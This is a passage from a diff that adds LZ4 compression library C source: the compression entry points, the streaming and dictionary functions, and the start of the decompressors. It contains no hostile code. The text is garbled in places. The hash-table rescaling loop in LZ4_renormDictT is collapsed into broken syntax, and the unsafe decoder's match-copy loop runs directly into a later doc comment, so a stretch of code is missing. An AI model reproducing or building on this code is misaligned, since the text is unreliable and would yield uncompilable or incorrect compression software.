LZ4_compress_generic_validated(cctx, src, dst, srcSize, + inputConsumed, /* only written into if outputDirective == fillOutput */ + dstCapacity, outputDirective, + tableType, dictDirective, dictIssue, acceleration); +} + +int LZ4_compress_fast_extState(void* state, const char* source, char* dest, int inputSize, int maxOutputSize, int acceleration) +{ + LZ4_stream_t_internal* const ctx = & LZ4_initStream(state, sizeof(LZ4_stream_t)) -> internal_donotuse; + assert(ctx != NULL); + if (acceleration < 1) acceleration = LZ4_ACCELERATION_DEFAULT; + if (acceleration > LZ4_ACCELERATION_MAX) acceleration = LZ4_ACCELERATION_MAX; + if (maxOutputSize >= LZ4_compressBound(inputSize)) { + if (inputSize < LZ4_64Klimit) { + return LZ4_compress_generic(ctx, source, dest, inputSize, NULL, 0, notLimited, byU16, noDict, noDictIssue, acceleration); + } else { + const tableType_t tableType = ((sizeof(void*)==4) && ((uptrval)source > LZ4_DISTANCE_MAX)) ? byPtr : byU32; + return LZ4_compress_generic(ctx, source, dest, inputSize, NULL, 0, notLimited, tableType, noDict, noDictIssue, acceleration); + } + } else { + if (inputSize < LZ4_64Klimit) { + return LZ4_compress_generic(ctx, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, byU16, noDict, noDictIssue, acceleration); + } else { + const tableType_t tableType = ((sizeof(void*)==4) && ((uptrval)source > LZ4_DISTANCE_MAX)) ? byPtr : byU32; + return LZ4_compress_generic(ctx, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, noDict, noDictIssue, acceleration); + } + } +} + +/** + * LZ4_compress_fast_extState_fastReset() : + * A variant of LZ4_compress_fast_extState(). + * + * Using this variant avoids an expensive initialization step. It is only safe + * to call if the state buffer is known to be correctly initialized already + * (see comment in lz4.h on LZ4_resetStream_fast() for a definition of + * "correctly initialized"). + */ +int LZ4_compress_fast_extState_fastReset(void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration) +{ + LZ4_stream_t_internal* const ctx = &((LZ4_stream_t*)state)->internal_donotuse; + if (acceleration < 1) acceleration = LZ4_ACCELERATION_DEFAULT; + if (acceleration > LZ4_ACCELERATION_MAX) acceleration = LZ4_ACCELERATION_MAX; + assert(ctx != NULL); + + if (dstCapacity >= LZ4_compressBound(srcSize)) { + if (srcSize < LZ4_64Klimit) { + const tableType_t tableType = byU16; + LZ4_prepareTable(ctx, srcSize, tableType); + if (ctx->currentOffset) { + return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, 0, notLimited, tableType, noDict, dictSmall, acceleration); + } else { + return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, 0, notLimited, tableType, noDict, noDictIssue, acceleration); + } + } else { + const tableType_t tableType = ((sizeof(void*)==4) && ((uptrval)src > LZ4_DISTANCE_MAX)) ? byPtr : byU32; + LZ4_prepareTable(ctx, srcSize, tableType); + return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, 0, notLimited, tableType, noDict, noDictIssue, acceleration); + } + } else { + if (srcSize < LZ4_64Klimit) { + const tableType_t tableType = byU16; + LZ4_prepareTable(ctx, srcSize, tableType); + if (ctx->currentOffset) { + return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, dstCapacity, limitedOutput, tableType, noDict, dictSmall, acceleration); + } else { + return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, dstCapacity, limitedOutput, tableType, noDict, noDictIssue, acceleration); + } + } else { + const tableType_t tableType = ((sizeof(void*)==4) && ((uptrval)src > LZ4_DISTANCE_MAX)) ? byPtr : byU32; + LZ4_prepareTable(ctx, srcSize, tableType); + return LZ4_compress_generic(ctx, src, dst, srcSize, NULL, dstCapacity, limitedOutput, tableType, noDict, noDictIssue, acceleration); + } + } +} + +int LZ4_compress_fast(const char* src, char* dest, int srcSize, int dstCapacity, int acceleration) +{ + int result; +#if (LZ4_HEAPMODE) + LZ4_stream_t* const ctxPtr = (LZ4_stream_t*)ALLOC(sizeof(LZ4_stream_t)); /* malloc-calloc always properly aligned */ + if (ctxPtr == NULL) return 0; +#else + LZ4_stream_t ctx; + LZ4_stream_t* const ctxPtr = &ctx; +#endif + result = LZ4_compress_fast_extState(ctxPtr, src, dest, srcSize, dstCapacity, acceleration); + +#if (LZ4_HEAPMODE) + FREEMEM(ctxPtr); +#endif + return result; +} + +int LZ4_compress_default(const char* src, char* dst, int srcSize, int dstCapacity) +{ + return LZ4_compress_fast(src, dst, srcSize, dstCapacity, 1); +} + + +/* Note!: This function leaves the stream in an unclean/broken state! + * It is not safe to subsequently use the same state with a _fastReset() or + * _continue() call without resetting it. */ +static int LZ4_compress_destSize_extState (LZ4_stream_t* state, const char* src, char* dst, int* srcSizePtr, int targetDstSize) +{ + void* const s = LZ4_initStream(state, sizeof (*state)); + assert(s != NULL); (void)s; + + if (targetDstSize >= LZ4_compressBound(*srcSizePtr)) { /* compression success is guaranteed */ + return LZ4_compress_fast_extState(state, src, dst, *srcSizePtr, targetDstSize, 1); + } else { + if (*srcSizePtr < LZ4_64Klimit) { + return LZ4_compress_generic(&state->internal_donotuse, src, dst, *srcSizePtr, srcSizePtr, targetDstSize, fillOutput, byU16, noDict, noDictIssue, 1); + } else { + tableType_t const addrMode = ((sizeof(void*)==4) && ((uptrval)src > LZ4_DISTANCE_MAX)) ? byPtr : byU32; + return LZ4_compress_generic(&state->internal_donotuse, src, dst, *srcSizePtr, srcSizePtr, targetDstSize, fillOutput, addrMode, noDict, noDictIssue, 1); + } } +} + +int LZ4_compress_destSize(const char* src, char* dst, int* srcSizePtr, int targetDstSize) +{ +#if (LZ4_HEAPMODE) + LZ4_stream_t* const ctx = (LZ4_stream_t*)ALLOC(sizeof(LZ4_stream_t)); /* malloc-calloc always properly aligned */ + if (ctx == NULL) return 0; +#else + LZ4_stream_t ctxBody; + LZ4_stream_t* const ctx = &ctxBody; +#endif + + int result = LZ4_compress_destSize_extState(ctx, src, dst, srcSizePtr, targetDstSize); + +#if (LZ4_HEAPMODE) + FREEMEM(ctx); +#endif + return result; +} + + + +/*-****************************** +* Streaming functions +********************************/ + +#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) +LZ4_stream_t* LZ4_createStream(void) +{ + LZ4_stream_t* const lz4s = (LZ4_stream_t*)ALLOC(sizeof(LZ4_stream_t)); + LZ4_STATIC_ASSERT(sizeof(LZ4_stream_t) >= sizeof(LZ4_stream_t_internal)); + DEBUGLOG(4, "LZ4_createStream %p", lz4s); + if (lz4s == NULL) return NULL; + LZ4_initStream(lz4s, sizeof(*lz4s)); + return lz4s; +} +#endif + +static size_t LZ4_stream_t_alignment(void) +{ +#if LZ4_ALIGN_TEST + typedef struct { char c; LZ4_stream_t t; } t_a; + return sizeof(t_a) - sizeof(LZ4_stream_t); +#else + return 1; /* effectively disabled */ +#endif +} + +LZ4_stream_t* LZ4_initStream (void* buffer, size_t size) +{ + DEBUGLOG(5, "LZ4_initStream"); + if (buffer == NULL) { return NULL; } + if (size < sizeof(LZ4_stream_t)) { return NULL; } + if (!LZ4_isAligned(buffer, LZ4_stream_t_alignment())) return NULL; + MEM_INIT(buffer, 0, sizeof(LZ4_stream_t_internal)); + return (LZ4_stream_t*)buffer; +} + +/* resetStream is now deprecated, + * prefer initStream() which is more general */ +void LZ4_resetStream (LZ4_stream_t* LZ4_stream) +{ + DEBUGLOG(5, "LZ4_resetStream (ctx:%p)", LZ4_stream); + MEM_INIT(LZ4_stream, 0, sizeof(LZ4_stream_t_internal)); +} + +void LZ4_resetStream_fast(LZ4_stream_t* ctx) { + LZ4_prepareTable(&(ctx->internal_donotuse), 0, byU32); +} + +#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) +int LZ4_freeStream (LZ4_stream_t* LZ4_stream) +{ + if (!LZ4_stream) return 0; /* support free on NULL */ + DEBUGLOG(5, "LZ4_freeStream %p", LZ4_stream); + FREEMEM(LZ4_stream); + return (0); +} +#endif + + +#define HASH_UNIT sizeof(reg_t) +int LZ4_loadDict (LZ4_stream_t* LZ4_dict, const char* dictionary, int dictSize) +{ + LZ4_stream_t_internal* const dict = &LZ4_dict->internal_donotuse; + const tableType_t tableType = byU32; + const BYTE* p = (const BYTE*)dictionary; + const BYTE* const dictEnd = p + dictSize; + U32 idx32; + + DEBUGLOG(4, "LZ4_loadDict (%i bytes from %p into %p)", dictSize, dictionary, LZ4_dict); + + /* It's necessary to reset the context, + * and not just continue it with prepareTable() + * to avoid any risk of generating overflowing matchIndex + * when compressing using this dictionary */ + LZ4_resetStream(LZ4_dict); + + /* We always increment the offset by 64 KB, since, if the dict is longer, + * we truncate it to the last 64k, and if it's shorter, we still want to + * advance by a whole window length so we can provide the guarantee that + * there are only valid offsets in the window, which allows an optimization + * in LZ4_compress_fast_continue() where it uses noDictIssue even when the + * dictionary isn't a full 64k. */ + dict->currentOffset += 64 KB; + + if (dictSize < (int)HASH_UNIT) { + return 0; + } + + if ((dictEnd - p) > 64 KB) p = dictEnd - 64 KB; + dict->dictionary = p; + dict->dictSize = (U32)(dictEnd - p); + dict->tableType = (U32)tableType; + idx32 = dict->currentOffset - dict->dictSize; + + while (p <= dictEnd-HASH_UNIT) { + U32 const h = LZ4_hashPosition(p, tableType); + LZ4_putIndexOnHash(idx32, h, dict->hashTable, tableType); + p+=3; idx32+=3; + } + + return (int)dict->dictSize; +} + +void LZ4_attach_dictionary(LZ4_stream_t* workingStream, const LZ4_stream_t* dictionaryStream) +{ + const LZ4_stream_t_internal* dictCtx = (dictionaryStream == NULL) ? NULL : + &(dictionaryStream->internal_donotuse); + + DEBUGLOG(4, "LZ4_attach_dictionary (%p, %p, size %u)", + workingStream, dictionaryStream, + dictCtx != NULL ? dictCtx->dictSize : 0); + + if (dictCtx != NULL) { + /* If the current offset is zero, we will never look in the + * external dictionary context, since there is no value a table + * entry can take that indicate a miss. In that case, we need + * to bump the offset to something non-zero. + */ + if (workingStream->internal_donotuse.currentOffset == 0) { + workingStream->internal_donotuse.currentOffset = 64 KB; + } + + /* Don't actually attach an empty dictionary. + */ + if (dictCtx->dictSize == 0) { + dictCtx = NULL; + } + } + workingStream->internal_donotuse.dictCtx = dictCtx; +} + + +static void LZ4_renormDictT(LZ4_stream_t_internal* LZ4_dict, int nextSize) +{ + assert(nextSize >= 0); + if (LZ4_dict->currentOffset + (unsigned)nextSize > 0x80000000) { /* potential ptrdiff_t overflow (32-bits mode) */ + /* rescale hash table */ + U32 const delta = LZ4_dict->currentOffset - 64 KB; + const BYTE* dictEnd = LZ4_dict->dictionary + LZ4_dict->dictSize; + int i; + DEBUGLOG(4, "LZ4_renormDictT"); + for (i=0; ihashTable[i] < delta) LZ4_dict->hashTable[i]=0; + else LZ4_dict->hashTable[i] -= delta; + } + LZ4_dict->currentOffset = 64 KB; + if (LZ4_dict->dictSize > 64 KB) LZ4_dict->dictSize = 64 KB; + LZ4_dict->dictionary = dictEnd - LZ4_dict->dictSize; + } +} + + +int LZ4_compress_fast_continue (LZ4_stream_t* LZ4_stream, + const char* source, char* dest, + int inputSize, int maxOutputSize, + int acceleration) +{ + const tableType_t tableType = byU32; + LZ4_stream_t_internal* const streamPtr = &LZ4_stream->internal_donotuse; + const char* dictEnd = streamPtr->dictSize ? (const char*)streamPtr->dictionary + streamPtr->dictSize : NULL; + + DEBUGLOG(5, "LZ4_compress_fast_continue (inputSize=%i, dictSize=%u)", inputSize, streamPtr->dictSize); + + LZ4_renormDictT(streamPtr, inputSize); /* fix index overflow */ + if (acceleration < 1) acceleration = LZ4_ACCELERATION_DEFAULT; + if (acceleration > LZ4_ACCELERATION_MAX) acceleration = LZ4_ACCELERATION_MAX; + + /* invalidate tiny dictionaries */ + if ( (streamPtr->dictSize < 4) /* tiny dictionary : not enough for a hash */ + && (dictEnd != source) /* prefix mode */ + && (inputSize > 0) /* tolerance : don't lose history, in case next invocation would use prefix mode */ + && (streamPtr->dictCtx == NULL) /* usingDictCtx */ + ) { + DEBUGLOG(5, "LZ4_compress_fast_continue: dictSize(%u) at addr:%p is too small", streamPtr->dictSize, streamPtr->dictionary); + /* remove dictionary existence from history, to employ faster prefix mode */ + streamPtr->dictSize = 0; + streamPtr->dictionary = (const BYTE*)source; + dictEnd = source; + } + + /* Check overlapping input/dictionary space */ + { const char* const sourceEnd = source + inputSize; + if ((sourceEnd > (const char*)streamPtr->dictionary) && (sourceEnd < dictEnd)) { + streamPtr->dictSize = (U32)(dictEnd - sourceEnd); + if (streamPtr->dictSize > 64 KB) streamPtr->dictSize = 64 KB; + if (streamPtr->dictSize < 4) streamPtr->dictSize = 0; + streamPtr->dictionary = (const BYTE*)dictEnd - streamPtr->dictSize; + } + } + + /* prefix mode : source data follows dictionary */ + if (dictEnd == source) { + if ((streamPtr->dictSize < 64 KB) && (streamPtr->dictSize < streamPtr->currentOffset)) + return LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, withPrefix64k, dictSmall, acceleration); + else + return LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, withPrefix64k, noDictIssue, acceleration); + } + + /* external dictionary mode */ + { int result; + if (streamPtr->dictCtx) { + /* We depend here on the fact that dictCtx'es (produced by + * LZ4_loadDict) guarantee that their tables contain no references + * to offsets between dictCtx->currentOffset - 64 KB and + * dictCtx->currentOffset - dictCtx->dictSize. This makes it safe + * to use noDictIssue even when the dict isn't a full 64 KB. + */ + if (inputSize > 4 KB) { + /* For compressing large blobs, it is faster to pay the setup + * cost to copy the dictionary's tables into the active context, + * so that the compression loop is only looking into one table. + */ + LZ4_memcpy(streamPtr, streamPtr->dictCtx, sizeof(*streamPtr)); + result = LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, usingExtDict, noDictIssue, acceleration); + } else { + result = LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, usingDictCtx, noDictIssue, acceleration); + } + } else { /* small data <= 4 KB */ + if ((streamPtr->dictSize < 64 KB) && (streamPtr->dictSize < streamPtr->currentOffset)) { + result = LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, usingExtDict, dictSmall, acceleration); + } else { + result = LZ4_compress_generic(streamPtr, source, dest, inputSize, NULL, maxOutputSize, limitedOutput, tableType, usingExtDict, noDictIssue, acceleration); + } + } + streamPtr->dictionary = (const BYTE*)source; + streamPtr->dictSize = (U32)inputSize; + return result; + } +} + + +/* Hidden debug function, to force-test external dictionary mode */ +int LZ4_compress_forceExtDict (LZ4_stream_t* LZ4_dict, const char* source, char* dest, int srcSize) +{ + LZ4_stream_t_internal* const streamPtr = &LZ4_dict->internal_donotuse; + int result; + + LZ4_renormDictT(streamPtr, srcSize); + + if ((streamPtr->dictSize < 64 KB) && (streamPtr->dictSize < streamPtr->currentOffset)) { + result = LZ4_compress_generic(streamPtr, source, dest, srcSize, NULL, 0, notLimited, byU32, usingExtDict, dictSmall, 1); + } else { + result = LZ4_compress_generic(streamPtr, source, dest, srcSize, NULL, 0, notLimited, byU32, usingExtDict, noDictIssue, 1); + } + + streamPtr->dictionary = (const BYTE*)source; + streamPtr->dictSize = (U32)srcSize; + + return result; +} + + +/*! LZ4_saveDict() : + * If previously compressed data block is not guaranteed to remain available at its memory location, + * save it into a safer place (char* safeBuffer). + * Note : no need to call LZ4_loadDict() afterwards, dictionary is immediately usable, + * one can therefore call LZ4_compress_fast_continue() right after. + * @return : saved dictionary size in bytes (necessarily <= dictSize), or 0 if error. + */ +int LZ4_saveDict (LZ4_stream_t* LZ4_dict, char* safeBuffer, int dictSize) +{ + LZ4_stream_t_internal* const dict = &LZ4_dict->internal_donotuse; + + DEBUGLOG(5, "LZ4_saveDict : dictSize=%i, safeBuffer=%p", dictSize, safeBuffer); + + if ((U32)dictSize > 64 KB) { dictSize = 64 KB; } /* useless to define a dictionary > 64 KB */ + if ((U32)dictSize > dict->dictSize) { dictSize = (int)dict->dictSize; } + + if (safeBuffer == NULL) assert(dictSize == 0); + if (dictSize > 0) { + const BYTE* const previousDictEnd = dict->dictionary + dict->dictSize; + assert(dict->dictionary); + LZ4_memmove(safeBuffer, previousDictEnd - dictSize, (size_t)dictSize); + } + + dict->dictionary = (const BYTE*)safeBuffer; + dict->dictSize = (U32)dictSize; + + return dictSize; +} + + + +/*-******************************* + * Decompression functions + ********************************/ + +typedef enum { decode_full_block = 0, partial_decode = 1 } earlyEnd_directive; + +#undef MIN +#define MIN(a,b) ( (a) < (b) ? (a) : (b) ) + + +/* variant for decompress_unsafe() + * does not know end of input + * presumes input is well formed + * note : will consume at least one byte */ +static size_t read_long_length_no_check(const BYTE** pp) +{ + size_t b, l = 0; + do { b = **pp; (*pp)++; l += b; } while (b==255); + DEBUGLOG(6, "read_long_length_no_check: +length=%zu using %zu input bytes", l, l/255 + 1) + return l; +} + +/* core decoder variant for LZ4_decompress_fast*() + * for legacy support only : these entry points are deprecated. + * - Presumes input is correctly formed (no defense vs malformed inputs) + * - Does not know input size (presume input buffer is "large enough") + * - Decompress a full block (only) + * @return : nb of bytes read from input. + * Note : this variant is not optimized for speed, just for maintenance. + * the goal is to remove support of decompress_fast*() variants by v2.0 +**/ +LZ4_FORCE_INLINE int +LZ4_decompress_unsafe_generic( + const BYTE* const istart, + BYTE* const ostart, + int decompressedSize, + + size_t prefixSize, + const BYTE* const dictStart, /* only if dict==usingExtDict */ + const size_t dictSize /* note: =0 if dictStart==NULL */ + ) +{ + const BYTE* ip = istart; + BYTE* op = (BYTE*)ostart; + BYTE* const oend = ostart + decompressedSize; + const BYTE* const prefixStart = ostart - prefixSize; + + DEBUGLOG(5, "LZ4_decompress_unsafe_generic"); + if (dictStart == NULL) assert(dictSize == 0); + + while (1) { + /* start new sequence */ + unsigned token = *ip++; + + /* literals */ + { size_t ll = token >> ML_BITS; + if (ll==15) { + /* long literal length */ + ll += read_long_length_no_check(&ip); + } + if ((size_t)(oend-op) < ll) return -1; /* output buffer overflow */ + LZ4_memmove(op, ip, ll); /* support in-place decompression */ + op += ll; + ip += ll; + if ((size_t)(oend-op) < MFLIMIT) { + if (op==oend) break; /* end of block */ + DEBUGLOG(5, "invalid: literals end at distance %zi from end of block", oend-op); + /* incorrect end of block : + * last match must start at least MFLIMIT==12 bytes before end of output block */ + return -1; + } } + + /* match */ + { size_t ml = token & 15; + size_t const offset = LZ4_readLE16(ip); + ip+=2; + + if (ml==15) { + /* long literal length */ + ml += read_long_length_no_check(&ip); + } + ml += MINMATCH; + + if ((size_t)(oend-op) < ml) return -1; /* output buffer overflow */ + + { const BYTE* match = op - offset; + + /* out of range */ + if (offset > (size_t)(op - prefixStart) + dictSize) { + DEBUGLOG(6, "offset out of range"); + return -1; + } + + /* check special case : extDict */ + if (offset > (size_t)(op - prefixStart)) { + /* extDict scenario */ + const BYTE* const dictEnd = dictStart + dictSize; + const BYTE* extMatch = dictEnd - (offset - (size_t)(op-prefixStart)); + size_t const extml = (size_t)(dictEnd - extMatch); + if (extml > ml) { + /* match entirely within extDict */ + LZ4_memmove(op, extMatch, ml); + op += ml; + ml = 0; + } else { + /* match split between extDict & prefix */ + LZ4_memmove(op, extMatch, extml); + op += extml; + ml -= extml; + } + match = prefixStart; + } + + /* match copy - slow variant, supporting overlap copy */ + { size_t u; + for (u=0; u= ipmax before start of loop. Returns initial_error if so. + * @error (output) - error code. Must be set to 0 before call. +**/ +typedef size_t Rvl_t; +static const Rvl_t rvl_error = (Rvl_t)(-1); +LZ4_FORCE_INLINE Rvl_t +read_variable_length(const BYTE** ip, const BYTE* ilimit, + int initial_check) +{ + Rvl_t s, length = 0; + assert(ip != NULL); + assert(*ip != NULL); + assert(ilimit != NULL); + if (initial_check && unlikely((*ip) >= ilimit)) { /* read limit reached */ + return rvl_error; + } + do { + s = **ip; + (*ip)++; + length += s; + if (unlikely((*ip) > ilimit)) { /* read limit reached */ + return rvl_error; + } + /* accumulator overflow detection (32-bit mode only) */ + if ((sizeof(length)<8) && unlikely(length > ((Rvl_t)(-1)/2)) ) { + return rvl_error; + } + } while (s==255); + + return length; +} + +/*! LZ4_decompress_generic() : + * This generic decompression function covers all use cases. + * It shall be instantiated several times, using different sets of directives. + * Note that it is important for performance that this function really get inlined, + * in order to remove useless branches during compilation optimization. + */ +LZ4_FORCE_INLINE int +LZ4_decompress_generic( + const char* const src, + char* const dst, + int srcSize, + int outputSize, /* If endOnInput==endOnInputSize, this value is `dstCapacity` */ + + earlyEnd_directive partialDecoding, /* full, partial */ + dict_directive dict, /* noDict, withPrefix64k, usingExtDict */ + const BYTE* const lowPrefix, /* always <= dst, == dst when no prefix */ + const BYTE* const dictStart, /* only if dict==usingExtDict */ + const size_t dictSize /* note : = 0 if noDict */ + ) +{ + if ((src == NULL) || (outputSize < 0)) { return -1; } + + { const BYTE* ip = (const BYTE*) src; + const BYTE* const iend = ip + srcSize; + + BYTE* op = (BYTE*) dst; + BYTE* const oend = op + outputSize; + BYTE* cpy; + + const BYTE* const dictEnd = (dictStart == NULL) ? NULL : dictStart + dictSize; + + const int checkOffset = (dictSize < (int)(64 KB)); + + + /* Set up the "end" pointers for the shortcut. */ + const BYTE* const shortiend = iend - 14 /*maxLL*/ - 2 /*offset*/; + const BYTE* const shortoend = oend - 14 /*maxLL*/ - 18 /*maxML*/; + + const BYTE* match; + size_t offset; + unsigned token; + size_t length; + + + DEBUGLOG(5, "LZ4_decompress_generic (srcSize:%i, dstSize:%i)", srcSize, outputSize); + + /* Special cases */ + assert(lowPrefix <= op); + if (unlikely(outputSize==0)) { + /* Empty output buffer */ + if (partialDecoding) return 0; + return ((srcSize==1) && (*ip==0)) ? 0 : -1; + } + if (unlikely(srcSize==0)) { return -1; } + + /* LZ4_FAST_DEC_LOOP: + * designed for modern OoO performance cpus, + * where copying reliably 32-bytes is preferable to an unpredictable branch. + * note : fast loop may show a regression for some client arm chips. */ +#if LZ4_FAST_DEC_LOOP + if ((oend - op) < FASTLOOP_SAFE_DISTANCE) { + DEBUGLOG(6, "skip fast decode loop"); + goto safe_decode; + } + + /* Fast loop : decode sequences as long as output < oend-FASTLOOP_SAFE_DISTANCE */ + DEBUGLOG(6, "using fast decode loop"); + while (1) { + /* Main fastloop assertion: We can always wildcopy FASTLOOP_SAFE_DISTANCE */ + assert(oend - op >= FASTLOOP_SAFE_DISTANCE); + assert(ip < iend); + token = *ip++; + length = token >> ML_BITS; /* literal length */ + + /* decode literal length */ + if (length == RUN_MASK) { + size_t const addl = read_variable_length(&ip, iend-RUN_MASK, 1); + if (addl == rvl_error) { + DEBUGLOG(6, "error reading long literal length"); + goto _output_error; + } + length += addl; + if (unlikely((uptrval)(op)+length<(uptrval)(op))) { goto _output_error; } /* overflow detection */ + if (unlikely((uptrval)(ip)+length<(uptrval)(ip))) { goto _output_error; } /* overflow detection */ + + /* copy literals */ + cpy = op+length; + LZ4_STATIC_ASSERT(MFLIMIT >= WILDCOPYLENGTH); + if ((cpy>oend-32) || (ip+length>iend-32)) { goto safe_literal_copy; } + LZ4_wildCopy32(op, ip, cpy); + ip += length; op = cpy; + } else { + cpy = op+length; + DEBUGLOG(7, "copy %u bytes in a 16-bytes stripe", (unsigned)length); + /* We don't need to check oend, since we check it once for each loop below */ + if (ip > iend-(16 + 1/*max lit + offset + nextToken*/)) { goto safe_literal_copy; } + /* Literals can only be <= 14, but hope compilers optimize better when copy by a register size */ + LZ4_memcpy(op, ip, 16); + ip += length; op = cpy; + } + + /* get offset */ + offset = LZ4_readLE16(ip); ip+=2; + DEBUGLOG(6, " offset = %zu", offset); + match = op - offset; + assert(match <= op); /* overflow check */ + + /* get matchlength */ + length = token & ML_MASK; + + if (length == ML_MASK) { + size_t const addl = read_variable_length(&ip, iend - LASTLITERALS + 1, 0); + if (addl == rvl_error) { + DEBUGLOG(6, "error reading long match length"); + goto _output_error; + } + length += addl; + length += MINMATCH; + if (unlikely((uptrval)(op)+length<(uptrval)op)) { goto _output_error; } /* overflow detection */ + if ((checkOffset) && (unlikely(match + dictSize < lowPrefix))) { + DEBUGLOG(6, "Error : offset outside buffers"); + goto _output_error; + } + if (op + length >= oend - FASTLOOP_SAFE_DISTANCE) { + goto safe_match_copy; + } + } else { + length += MINMATCH; + if (op + length >= oend - FASTLOOP_SAFE_DISTANCE) { + goto safe_match_copy; + } + + /* Fastpath check: skip LZ4_wildCopy32 when true */ + if ((dict == withPrefix64k) || (match >= lowPrefix)) { + if (offset >= 8) { + assert(match >= lowPrefix); + assert(match <= op); + assert(op + 18 <= oend); + + LZ4_memcpy(op, match, 8); + LZ4_memcpy(op+8, match+8, 8); + LZ4_memcpy(op+16, match+16, 2); + op += length; + continue; + } } } + + if ( checkOffset && (unlikely(match + dictSize < lowPrefix)) ) { + DEBUGLOG(6, "Error : pos=%zi, offset=%zi => outside buffers", op-lowPrefix, op-match); + goto _output_error; + } + /* match starting within external dictionary */ + if ((dict==usingExtDict) && (match < lowPrefix)) { + assert(dictEnd != NULL); + if (unlikely(op+length > oend-LASTLITERALS)) { + if (partialDecoding) { + DEBUGLOG(7, "partialDecoding: dictionary match, close to dstEnd"); + length = MIN(length, (size_t)(oend-op)); + } else { + DEBUGLOG(6, "end-of-block condition violated") + goto _output_error; + } } + + if (length <= (size_t)(lowPrefix-match)) { + /* match fits entirely within external dictionary : just copy */ + LZ4_memmove(op, dictEnd - (lowPrefix-match), length); + op += length; + } else { + /* match stretches into both external dictionary and current block */ + size_t const copySize = (size_t)(lowPrefix - match); + size_t const restSize = length - copySize; + LZ4_memcpy(op, dictEnd - copySize, copySize); + op += copySize; + if (restSize > (size_t)(op - lowPrefix)) { /* overlap copy */ + BYTE* const endOfMatch = op + restSize; + const BYTE* copyFrom = lowPrefix; + while (op < endOfMatch) { *op++ = *copyFrom++; } + } else { + LZ4_memcpy(op, lowPrefix, restSize); + op += restSize; + } } + continue; + } + + /* copy match within block */ + cpy = op + length; + + assert((op <= oend) && (oend-op >= 32)); + if (unlikely(offset<16)) { + LZ4_memcpy_using_offset(op, match, cpy, offset); + } else { + LZ4_wildCopy32(op, match, cpy); + } + + op = cpy; /* wildcopy correction */ + } + safe_decode: +#endif + + /* Main Loop : decode remaining sequences where output < FASTLOOP_SAFE_DISTANCE */ + DEBUGLOG(6, "using safe decode loop"); + while (1) { + assert(ip < iend); + token = *ip++; + length = token >> ML_BITS; /* literal length */ + + /* A two-stage shortcut for the most common case: + * 1) If the literal length is 0..14, and there is enough space, + * enter the shortcut and copy 16 bytes on behalf of the literals + * (in the fast mode, only 8 bytes can be safely copied this way). + * 2) Further if the match length is 4..18, copy 18 bytes in a similar + * manner; but we ensure that there's enough space in the output for + * those 18 bytes earlier, upon entering the shortcut (in other words, + * there is a combined check for both stages). + */ + if ( (length != RUN_MASK) + /* strictly "less than" on input, to re-enter the loop with at least one byte */ + && likely((ip < shortiend) & (op <= shortoend)) ) { + /* Copy the literals */ + LZ4_memcpy(op, ip, 16); + op += length; ip += length; + + /* The second stage: prepare for match copying, decode full info. + * If it doesn't work out, the info won't be wasted. */ + length = token & ML_MASK; /* match length */ + offset = LZ4_readLE16(ip); ip += 2; + match = op - offset; + assert(match <= op); /* check overflow */ + + /* Do not deal with overlapping matches. */ + if ( (length != ML_MASK) + && (offset >= 8) + && (dict==withPrefix64k || match >= lowPrefix) ) { + /* Copy the match. */ + LZ4_memcpy(op + 0, match + 0, 8); + LZ4_memcpy(op + 8, match + 8, 8); + LZ4_memcpy(op +16, match +16, 2); + op += length + MINMATCH; + /* Both stages worked, load the next token. */ + continue; + } + + /* The second stage didn't work out, but the info is ready. + * Propel it right to the point of match copying. */ + goto _copy_match; + } + + /* decode literal length */ + if (length == RUN_MASK) { + size_t const addl = read_variable_length(&ip, iend-RUN_MASK, 1); + if (addl == rvl_error) { goto _output_error; } + length += addl; + if (unlikely((uptrval)(op)+length<(uptrval)(op))) { goto _output_error; } /* overflow detection */ + if (unlikely((uptrval)(ip)+length<(uptrval)(ip))) { goto _output_error; } /* overflow detection */ + } + + /* copy literals */ + cpy = op+length; +#if LZ4_FAST_DEC_LOOP + safe_literal_copy: +#endif + LZ4_STATIC_ASSERT(MFLIMIT >= WILDCOPYLENGTH); + if ((cpy>oend-MFLIMIT) || (ip+length>iend-(2+1+LASTLITERALS))) { + /* We've either hit the input parsing restriction or the output parsing restriction. + * In the normal scenario, decoding a full block, it must be the last sequence, + * otherwise it's an error (invalid input or dimensions). + * In partialDecoding scenario, it's necessary to ensure there is no buffer overflow. + */ + if (partialDecoding) { + /* Since we are partial decoding we may be in this block because of the output parsing + * restriction, which is not valid since the output buffer is allowed to be undersized. + */ + DEBUGLOG(7, "partialDecoding: copying literals, close to input or output end") + DEBUGLOG(7, "partialDecoding: literal length = %u", (unsigned)length); + DEBUGLOG(7, "partialDecoding: remaining space in dstBuffer : %i", (int)(oend - op)); + DEBUGLOG(7, "partialDecoding: remaining space in srcBuffer : %i", (int)(iend - ip)); + /* Finishing in the middle of a literals segment, + * due to lack of input. + */ + if (ip+length > iend) { + length = (size_t)(iend-ip); + cpy = op + length; + } + /* Finishing in the middle of a literals segment, + * due to lack of output space. + */ + if (cpy > oend) { + cpy = oend; + assert(op<=oend); + length = (size_t)(oend-op); + } + } else { + /* We must be on the last sequence (or invalid) because of the parsing limitations + * so check that we exactly consume the input and don't overrun the output buffer. + */ + if ((ip+length != iend) || (cpy > oend)) { + DEBUGLOG(6, "should have been last run of literals") + DEBUGLOG(6, "ip(%p) + length(%i) = %p != iend (%p)", ip, (int)length, ip+length, iend); + DEBUGLOG(6, "or cpy(%p) > oend(%p)", cpy, oend); + goto _output_error; + } + } + LZ4_memmove(op, ip, length); /* supports overlapping memory regions, for in-place decompression scenarios */ + ip += length; + 